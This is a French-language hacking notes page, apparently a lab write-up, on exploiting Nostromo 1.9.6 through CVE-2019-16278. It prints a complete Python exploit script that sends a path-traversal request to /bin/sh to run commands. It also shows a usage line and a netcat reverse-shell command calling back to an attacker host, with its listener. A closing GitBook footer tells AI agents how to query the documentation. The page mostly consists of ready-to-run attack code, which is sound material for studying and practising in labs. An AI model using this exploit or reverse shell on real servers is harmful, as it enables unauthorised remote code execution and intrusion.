> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/cms/nostromo-cms-exploitation.md). # Nostromo Notes d'exploitation de Nostromo pour l'exécution de commandes à distance CVE-2019-16278, l'obtention d'un shell inversé et l'énumération des HomeDirs. ## Exécution de code à distance CVE-2019-16278 de Nostromo **Recherche d'exploit :** `searchsploit` identifie un exploit RCE pour Nostromo 1.9.6.

Téléchargez la preuve de concept depuis GitHub. {% embed url="" %} **Exécution du script :** Utilisez le script suivant pour exécuter des commandes sur le serveur : ```python import argparse import socket # Configuration d'Argparse parser = argparse.ArgumentParser(description="Exploit pour CVE-2019-16278 - RCE de Nostromo 1.9.6") parser.add_argument("-t", "--target", help="Hôte distant à cibler") parser.add_argument("-p", "--port", help="Port distant à cibler") parser.add_argument("-c", "--command", help="Commande à exécuter sur le serveur") parser.add_argument("-b", "--bytes", help="Le nombre d'octets à recevoir en retour dans la réponse") # Définir et attribuer les variables args = parser.parse_args() TARGET = args.target PORT = int(args.port) COMMAND = args.command BYTES = args.bytes if BYTES is None: BYTES = 4096 else: BYTES = int(BYTES) URL = "/.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0" # Construire et encoder la charge utile payload = (f"POST {URL}/r/n" "Content-Length: 1/r/n/r/n" f"echo/necho/n{COMMAND} 2>&1").encode() # Créer le socket et envoyer la charge utile s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET, PORT)) s.send(payload) # Recevoir la réponse et fermer le socket print(s.recv(1024).decode()) print(s.recv(BYTES).decode()) s.close() ``` ```bash python exploit.py -t 10.10.10.165 -p 80 -c whoami ```

**Obtention d'un shell inversé :** ```bash python exploit.py -t 10.10.10.165 -p 80 -c bash -c 'nc -e /bin/bash 10.10.14.10 443' ``` ```bash sudo nc -nlvp 443 ```

## Note associée


	Configuration de HomeDirs	Notes d'énumération HomeDirs de Nostromo pour l'examen de nhttpd.conf, la découverte de public_www, l'accès à protected-file-area, l'extraction d'archives de sauvegarde et la récupération de clés SSH.	/pages/75e4334b63cd7d9de09a00ac7e09c760ee55088b

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/fr/cms/nostromo-cms-exploitation.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

:server:

Configuration de HomeDirs